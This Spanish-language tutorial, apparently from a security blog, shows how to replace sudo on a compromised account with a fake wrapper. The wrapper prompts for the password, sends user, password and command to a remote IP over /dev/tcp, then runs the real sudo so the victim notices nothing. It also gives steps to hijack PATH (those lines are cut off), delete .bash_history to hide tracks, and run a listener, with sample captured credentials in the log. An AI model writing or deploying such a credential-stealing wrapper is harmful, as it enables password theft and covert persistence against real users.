En alguna ocasión obtendremos acceso a un equipo con un usuario regular pero desconocemos el password asociado, una forma fácil y sencilla de obtener dicho password es sustituir sudo por un script propio que preguntará el pass, lo enviará a un equipo remoto y luego ejecutará el comando mediante el binario original de sudo.
Con un poco de suerte ese password se reutilizará en algún otro servicio ganando acceso a este.
La idea es generar un script llamado sudo que se hará pasar por el sudo original:
rm ~/.config/sudo/sudo 2>/dev/null
Generamos el script, para poder meter tabuladores mediante cat hay que emplear un pequeño truco:
cat <<EOF > ~/.config/sudo/sudo
#!/bin/bash
IP=192.168.20.114
PORT=8000
USER=\$(whoami)
/usr/bin/sudo -n true 2> /dev/null
# Si hace sudo directamente sin pass:
if [ \$? -eq 0 ]; then
${TAB}(echo "\$USER:\$@:sinpass" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}/usr/bin/sudo \$@
# Si necesita password:
else
${TAB}echo -n "[sudo] password for \$USER:"
${TAB}read -s pwd
${TAB}echo "\$pwd" | /usr/bin/sudo -S true 2>/dev/null
${TAB}if [ \$? -eq 1 ]; then
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:invalid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo -e "\nSorry, try again."
${TAB}${TAB}~/.config/sudo/sudo \$@
${TAB}else
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:valid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo "\$pwd" | /usr/bin/sudo -S \$@
${TAB}fi
fi
EOF
NOTA: El script dá por supuesto que bash fué compilado con soporte para realizar conexiones tcp
Asignamos permisos de ejecución al script y añadimos el directorio donde está el script al path:
echo "export PATH=
echo "export PATH=
Borramos nuestras huellas:
rm .bash_history
Arrancamos un servidor web donde veremos la info enviada por nuestro script:
cd asd
python -m SimpleHTTPServer
Cuando la vÃctima ejecute nuestro script creerá que está ejecutando el binario de sudo original y nosotros recibiremos:
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.20.114 - - [29/Aug/2018 14:30:10] code 400, message Bad request syntax ('kr0m:AAAA:/bin/ls:invalid')
192.168.20.114 - - [29/Aug/2018 14:30:10] "kr0m:AAAA:/bin/ls:invalid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:14] code 400, message Bad request syntax ('kr0m:XXXX:/bin/ls:valid')
192.168.20.114 - - [29/Aug/2018 14:30:14] "kr0m:XXXX:/bin/ls:valid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:18] code 400, message Bad request syntax ('kr0m:/bin/ls:sinpass')
192.168.20.114 - - [29/Aug/2018 14:30:18] "kr0m:/bin/ls:sinpass" 400 -